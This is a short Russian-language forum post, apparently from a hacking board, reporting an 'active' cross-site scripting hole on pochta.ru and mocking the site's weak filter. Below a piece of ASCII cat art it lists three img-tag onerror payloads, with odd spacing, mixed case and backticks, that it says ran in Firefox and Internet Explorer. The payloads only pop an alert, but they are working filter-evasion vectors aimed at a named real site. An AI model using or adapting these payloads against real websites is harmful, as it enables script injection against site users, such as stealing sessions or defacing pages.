Активка на pochta.ru

..............／＞　 フ.....................
　　　　　| 　_　 _|
　 　　　／`ミ _x 彡
　　 　 /　　　 　 |
　　　 /　 ヽ　　 ﾉ
　／￣|　　 |　|　|
　| (￣ヽ＿_ヽ_)_)
　＼二つ

 

Добавил.

 

Нет, товарищи, ведь это порнография!
Фильтр там всегда был никакой. Даже обычная база теста xss всегда давала результаты.

ФФ и IE

PHP:

<img src=. /onErrOr    ='alert(/xss/)'>
<img src=. /onErrOr="alert(/xss/)">


IE

PHP:

<img src=. /onErrOr
=`alert(/xss/)`>


Это даже немодифицированное, сырое, так сказать. Без дальнейших комментариев.